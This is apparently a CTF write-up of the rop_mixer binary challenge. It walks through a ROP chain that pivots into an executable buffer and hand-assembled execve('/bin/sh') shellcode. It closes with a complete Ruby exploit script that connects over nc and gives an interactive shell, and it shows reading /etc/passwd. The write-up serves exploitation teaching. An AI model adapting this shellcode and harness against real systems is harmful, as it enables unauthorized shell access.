Trail of Bits released a number of CTF challeleges on Github.

This post is about the rop_mixer binary exploitation challenge.

The rop_mixer challenge is found in the ctf/exploits/binary2_workshop/rop_mixer/ directory. It contains only a single binary (rop_mixer), a shell script to make it available over the network with socat and no source code.

This one is different from the other challenges in that it is not a vulnerable application; it doesn’t have any supposed purpose besides being exploited.

|           0x0804884c      b83ca00408     mov eax, loc.NASM_BEGIN
...
|           0x0804886f      c74424080010.  mov dword [local_8h], 0x1000
...
|           0x0804887b      89442404       mov dword [local_4h], eax
|           0x0804887f      c70424000000.  mov dword [esp], 0
|           0x08048886      e8e5fbffff     call sym.imp.read
|           0x0804888b      8d44242c       lea eax, [local_2ch]
|           0x0804888f      89c4           mov esp, eax
\           0x08048891      c3             ret

Up to 0x1000 bytes are read from stdin into a buffer and then this buffer is swapped with esp. So this new buffer is effectively our new stack and we can feed our rop chain into it directly without fiddling with buffer overflows and offsets. It appears that the rest of the code only exists to provide rop gadgets. I’m not sure if the gadgets are enough to get a shell, I spent some time trying but couldn’t figure it out. Fortunately, this buffer holding our rop chain is also executable.

[0x08048530]> is | grep NASM_BEGIN
vaddr=0x0804a03c paddr=0x0000103c ord=121 fwd=NONE sz=0 bind=GLOBAL type=NOTYPE name=NASM_BEGIN
[0x08048530]> iS | grep 0x0804a03c
idx=25 vaddr=0x0804a03c paddr=0x0000103c sz=784 vsz=784 perm=--rwx name=.ROP_MIX

So the strategy I went with is using the rop chain to redirect execution to the rwx buffer.

$gadget_call_eax = addr_to_str 0x080485df
#0x080485df               ffd0  call eax

However, if we do that, esp and eip will be pointing to the same address and bad things will happen, the return address from this gadget (0x080485e1) will be executed as code (e185 loope 0xfff36d93, 0408 add al, 8).

So the first thing to do is move the stack pointer a little bit further into the buffer and put the call eax gadget there.

$gadget_add_esp = addr_to_str 0x0804890c
#0x08048909             83c41c  add esp, 0x1c
#0x0804890c                 5b  pop ebx
#0x0804890d                 5e  pop esi
#0x0804890e                 5f  pop edi
#0x0804890f                 5d  pop ebp
#0x08048910                 c3  ret

Unfortunately 0x1c bytes does not seem to be enough space for my shellcode, so lets add code to jmp over the gadget address (which is clobbered by the return address from call eax at this point) and fill the gap with nops. So far the exploit string looks like this:

$shell_jmp_4 = enc "\xeb\x02"

e = $gadget_add_esp +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_jmp_4 +
  $gadget_call_eax

We can use rasm2 (part of Radare2) to assemble arbitrary instructions:

†  rasm2 -ix86 'jmp 4'
eb02

Using non-ascii characters in strings causes Ruby’s do-what-i-mean semantics to go a little wrong (Ruby is being reasonable, we are the ones trying to do something weird). To deal with that we will run our shell code through an enc function.

def enc s
  #incompatible character encodings: ASCII-8BIT and UTF-8(Encoding::CompatibilityError)
  s.force_encoding(Encoding::ASCII_8BIT)
end

From this point on we can execute whatever shellcode we want. To evecve a shell we need:

eax = 0x0b
ebx = "/bin/sh"
ecx = 0
edx = 0

and then invoke a system call with int 0x80.

The placement of the “/bin/sh” string complicates things. One thing we can do is place it inline with the shell code and then jmp over it during execution. It is not possible to mov the value of eip into a general purpose register though. One way to get the value is to call and immediately return, leaving eip on the stack.

mov edi, 0x08048910
call edi
mov ebx, esp - 4
jmp 0x0a
"/bin/bash"
add ebx, 9

We can add them to our exploit string like this:

$shell_mov_edi_0xbf10890408 = enc "\xbf\x10\x89\x04\x08"
$shell_call_edi = enc "\xff\xd7"
$shell_mov_ebx_esp_4 = enc "\x8b\x9c\x24\xfc\xff\xff\xff"
$shell_jmp_0xa = enc "\xeb\x08"
$shell_add_esp_0x100 = enc "\x81\xc4\x00\x01\x00\x00"
$shell_bin_sh = enc "/bin/sh\x00"
$shell_add_ebx_9 = enc "\x83\xc3\x09"

And what’s left is setting the remaining registers with immediate values and invoking the syscall.

mov eax, 0xb
xor ecx, ecx
xor edx, edx
int 0x80
$shell_mov_eax_0xb = enc "\xb8\x0b\x00\x00\x00"
$shell_xor_ecx_ecx = enc "\x31\xc9"
$shell_xor_edx_edx = enc "\x31\xd2"
$shell_int_0x80 = enc "\xcd\x80"

So our complete exploit string looks like this:

e = $gadget_add_esp +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_jmp_4 +
  $gadget_call_eax +
  $shell_add_esp_0x100 +
  $shell_mov_edi_0xbf10890408 +
  $shell_call_edi +
  $shell_mov_ebx_esp_4 +
  $shell_jmp_0xa +
  $shell_bin_sh +
  $shell_add_ebx_9 +
  $shell_mov_eax_0xb +
  $shell_xor_ecx_ecx +
  $shell_xor_edx_edx +
  $shell_int_0x80
"\f\x89\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x02\xDF\x85\x04\b\x81\xC4\x00\x01\x00\x00\xBF\x10\x89\x04\b\xFF\xD7\x8B\x9C$\xFC\xFF\xFF\xFF\xEB\b/bin/sh\x00\x83\xC3\t\xB8\v\x00\x00\x001\xC91\xD2\xCD\x80"

We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.

require 'pty'

def xspawn cmd
  master, slave = PTY.open
  read, write = IO.pipe
  pid = spawn(cmd, :in=>read, :out=>slave)
  read.close
  slave.close
  return master, write, pid
end

m_sp, w_sp, pid_sp = xspawn "./ctf/exploits/binary2_workshop/rop_mixer/rop_mixer"
# OR
m_sp, w_sp, pid_sp = xspawn "nc 127.0.0.1 12349"

Send the exploit string

  w_sp.puts(e)

To make our shell interactive, it does not seem like Ruby has a ready made interact function, but we can implement it ourselves in a few lines of code. We basically just need to select(2) on stdin of the script and stdout of rop_mixer or netcat and shuffle data from one world to the other.

while true do
  rs, _, _ = IO.select([m_sp, $stdin])
  if rs.include?(m_sp) then
    print(m_sp.read_nonblock(100))
  end

  if rs.include?($stdin) then
    w_sp.print($stdin.read_nonblock(100))
  end
end

And that’s it.

Our interactive shell does not have a $PS1 prompt or job control but it is functional enough. In this example I ran ls followed by head /etc/passwd.

†  ruby mixer_exp.rb
nc: using stream socket
WELCOME TO THE ROP MIXER
There are 49 gadgets
GOOD LUCK WITH YOUR GADGETS
TÐ(ÐÐZÐÐÐRÐWÐSÐÐÐ_ÐÐ0Ð]Ð̀Ð ÐÐQÐ8ÐÐUÐÐVÐXÐ^ÐÐYÐ[ÐÐ$ÐPÐEÐÐÐ\Ðls
host.sh
rop_mixer
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false

Below is the full exploit script.

#!/usr/bin/ruby
require 'r2pipe'
require 'pty'

def addr_to_str addr
  # We need to convert from numeric to little Endian string format.
  return (addr & 0xff).chr +
    ((addr >> 8) & 0xff).chr +
    ((addr >> 16) & 0xff).chr +
    ((addr >> 24) & 0xff).chr
end

$gadget_call_eax = addr_to_str 0x080485df
#0x080485df               ffd0  call eax

$gadget_add_esp = addr_to_str 0x0804890c
#0x08048909             83c41c  add esp, 0x1c
#0x0804890c                 5b  pop ebx
#0x0804890d                 5e  pop esi
#0x0804890e                 5f  pop edi
#0x0804890f                 5d  pop ebp
#0x08048910                 c3  ret

def enc s
  #incompatible character encodings: ASCII-8BIT and UTF-8(Encoding::CompatibilityError)
  s.force_encoding(Encoding::ASCII_8BIT)
end

$shell_mov_edi_0xbf10890408 = enc "\xbf\x10\x89\x04\x08"
$shell_call_edi = enc "\xff\xd7"
$shell_mov_ebx_esp_4 = enc "\x8b\x9c\x24\xfc\xff\xff\xff"
$shell_nop = enc "\x90"
$shell_jmp_4 = enc "\xeb\x02"
$shell_jmp_0xa = enc "\xeb\x08"
$shell_add_esp_0x100 = enc "\x81\xc4\x00\x01\x00\x00"
$shell_bin_sh = enc "/bin/sh\x00"
$shell_add_ebx_9 = enc "\x83\xc3\x09"
$shell_mov_eax_0xb = enc "\xb8\x0b\x00\x00\x00"
$shell_xor_ecx_ecx = enc "\x31\xc9"
$shell_xor_edx_edx = enc "\x31\xd2"
$shell_int_0x80 = enc "\xcd\x80"

e = $gadget_add_esp +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_nop + $shell_nop + $shell_nop + $shell_nop +
  $shell_jmp_4 +
  $gadget_call_eax +
  $shell_add_esp_0x100 +
  $shell_mov_edi_0xbf10890408 +
  $shell_call_edi +
  $shell_mov_ebx_esp_4 +
  $shell_jmp_0xa +
  $shell_bin_sh +
  $shell_add_ebx_9 +
  $shell_mov_eax_0xb +
  $shell_xor_ecx_ecx +
  $shell_xor_edx_edx +
  $shell_int_0x80

def xspawn cmd
  master, slave = PTY.open
  read, write = IO.pipe
  pid = spawn(cmd, :in=>read, :out=>slave)
  read.close
  slave.close
  return master, write, pid
end

#m_sp, w_sp, pid_sp = xspawn "./ctf/exploits/binary2_workshop/rop_mixer/rop_mixer"
m_sp, w_sp, pid_sp = xspawn "nc 127.0.0.1 12349"
w_sp.puts(e)

while true do
  rs, _, _ = IO.select([m_sp, $stdin])
  if rs.include?(m_sp) then
    print(m_sp.read_nonblock(100))
  end

  if rs.include?($stdin) then
    w_sp.print($stdin.read_nonblock(100))
  end
end